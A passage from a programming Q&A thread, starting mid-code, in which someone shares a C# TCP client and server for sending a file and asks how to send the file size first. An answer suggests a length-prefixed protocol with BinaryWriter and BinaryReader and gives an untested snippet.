break;
}
string dataStr = Encoding.ASCII.GetString(buffer, 0, buffer.Length);
using (var fs = File.OpenWrite("test.txt"))
{
fs.Write(buffer, 0, buffer.Length);
fs.Close();
}
}
}
private string TCPIP(TcpClient c)
{
return ((IPEndPoint)c.Client.RemoteEndPoint).Address.ToString();
}
};
My Client Class:
class Client
{
private TcpClient client;
// private TcpClient client1;
private IPEndPoint ipep;
private int port;
public Client()
{
Console.Clear();
Console.Title = "Client";
bool error = false;
while (true)
{
Console.WriteLine("IPEndPoint: ");
string input = Console.ReadLine();
if (!input.Contains(':'))
{
Console.WriteLine("IPEndPoint in bad format");
break;
}
string[] s1 = input.Split(':');
IPAddress ipaddr;
if (!IPAddress.TryParse(s1[0], out ipaddr) || !int.TryParse(s1[1], out port))
{
Console.WriteLine("IPEndPoint in bad format");
Console.ReadLine();
error = true;
break;
}
ipep = new IPEndPoint(ipaddr, port);
try
{
client = new TcpClient();
client.Connect(ipep);
Console.WriteLine("client 1 is Ready!");
//client1 = new TcpClient();
//client1.Connect(ipep);
//Console.WriteLine("client 2 is Ready!");
}
catch (Exception ex)
{
Console.WriteLine("Unable to connect\r\nReason: {0}", ex.Message);
Console.ReadLine();
error = true;
}
break;
}
while (!error)
{
Console.Clear();
Console.WriteLine("File path: ");
string filePath = Console.ReadLine();
if (File.Exists(filePath) == false)
{
Console.WriteLine("File does not exist\r\nPress ENTER to try again");
Console.ReadLine();
}
byte[] buffer;
using (var fs = File.OpenRead(filePath))
{
buffer = new byte[fs.Length];
fs.Read(buffer, 0, buffer.Length);
Int64 a = client.SendBufferSize; ;
fs.Close();
}
if (SendData(buffer))
{
// client.SendBufferSize(buffer);
//int a = client.SendBufferSize; ;
Console.WriteLine("File sent\r\nFile size: {0} KB", (buffer.Length / 1024));
//a.SetLength((buffer.Length / 1024));
Console.ReadLine();
}
break;
}
}
private bool SendData(byte[] data)
{
try
{
using (NetworkStream ns = client.GetStream())
{
ns.Write(data, 0, data.Length);
ns.Close();
}
return true;
}
catch (Exception ex)
{
Console.WriteLine("Unable to send file\r\nReason: {0}\r\nDetailed:\r\n{1}", ex.Message, ex.ToString());
Console.ReadLine();
return false;
}
}
}
}
}
First of all accept my apologise for my code is badly commented. Or to be honest no comments at all, almost.
Server class, under the method called private void HandleClient Data(object _) I have a buffer. Buffer is set to byte[1024]. I want to receive bufferSize (of my test file) from client, set Server buffer = to ClientBuffer and there after receive file. I have a test file which is 60MB. I tried to send my buffer size from client to server but it doesn't work well. Can someone tell me what I can do and how?
thanks in advance
You should implement an application level protocol, for example:
MESSAGE:
[SIZE (8 BYTES)][DATA (SIZE BYTES)]
Then, use BinaryReader and BinaryWriter
//client
var writer = new BinaryWriter(client.GetStream());
FileInfo fileInfoToSend = new FileInfo(path);
long fileSize = fileInfoToSend.Length;
writer.Write(fileSize);
using (FileStream fileStream = fileInfoToSend .Open(FileMode.Open, FileAccess.Read))
{
fileStream.CopyTo(writer.BaseStream);
fileStream.Close();
}
//server
var stream = c.GetStream();
var reader = new BinaryReader(c.GetStream());
FileInfo fileInfoToWrite = new FileInfo(path);
long fileSize = reader.ReadInt64();
using (FileStream fileStream = fileInfoToWrite.Create())
{
int read = 0;
for (long i = 0; i < fileSize; i += (long)read)
{
byte[] buffer = new byte[1024];
read = stream.Read(buffer, 0, Math.Min(fileSize - i, 1024));
if (read == 0)
return;//client disconnected!(or throw Exception)
fileStream.Write(buffer, 0, read);
}
}
untested